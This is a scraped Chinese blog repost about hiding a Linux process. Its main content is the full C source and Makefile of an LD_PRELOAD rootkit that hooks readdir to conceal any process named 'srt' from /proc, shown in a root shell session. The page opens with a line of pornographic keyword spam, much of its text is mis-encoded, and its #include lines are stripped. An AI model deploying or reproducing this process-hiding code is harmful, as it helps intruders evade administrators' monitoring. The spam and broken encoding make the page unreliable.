日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > linux >内容正文

linux

linux隐藏特定进程,linux 隐藏进程

發(fā)布時(shí)間:2024/8/23 linux 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 linux隐藏特定进程,linux 隐藏进程 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

2、源碼如下

root@ubuntu:/var/srt/libprocesshider# cat processhider.c

#define _GNU_SOURCE

#include

#include

#include

#include

#include

/*

* Every process with this name will be excluded

*/

static const char* process_to_filter = "srt";

/*

* Get a directory name given a DIR* handle

*/

static int get_dir_name(DIR* dirp, char* buf, size_t size)

{

int fd = dirfd(dirp);

if(fd == -1) {

return 0;

}

char tmp[64];

snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);

ssize_t ret = readlink(tmp, buf, size);

if(ret == -1) {

return 0;

}

buf[ret] = 0;

return 1;

}

/*

* Get a process name given its pid

*/

static int get_process_name(char* pid, char* buf)

{

if(strspn(pid, "0123456789") != strlen(pid)) {

return 0;

}

char tmp[256];

snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);

FILE* f = fopen(tmp, "r");

if(f == NULL) {

return 0;

}

if(fgets(tmp, sizeof(tmp), f) == NULL) {

fclose(f);

return 0;

}

fclose(f);

int unused;

sscanf(tmp, "%d (%[^)]s", &unused, buf);

return 1;

}

#define DECLARE_READDIR(dirent, readdir) \

static struct dirent* (*original_##readdir)(DIR*) = NULL; \

\

struct dirent* readdir(DIR *dirp) \

{ \

if(original_##readdir == NULL) { \

original_##readdir = dlsym(RTLD_NEXT, #readdir); \

if(original_##readdir == NULL) \

{ \

fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \

} \

} \

\

struct dirent* dir; \

\

while(1) \

{ \

dir = original_##readdir(dirp); \

if(dir) { \

char dir_name[256]; \

char process_name[256]; \

if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \

strcmp(dir_name, "/proc") == 0 && \

get_process_name(dir->d_name, process_name) && \

strcmp(process_name, process_to_filter) == 0) { \

continue; \

} \

} \

break; \

} \

return dir; \

}

DECLARE_READDIR(dirent64, readdir64);

DECLARE_READDIR(dirent, readdir);

root@ubuntu:/var/srt/libprocesshider#

root@ubuntu:/var/srt/libprocesshider# cat Makefile

all: libprocesshider.so

libprocesshider.so: processhider.c

gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl

.PHONY clean:

rm -f libprocesshider.so

root@ubuntu:/var/srt/libprocesshider#

總結(jié)

以上是生活随笔為你收集整理的linux隐藏特定进程,linux 隐藏进程的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。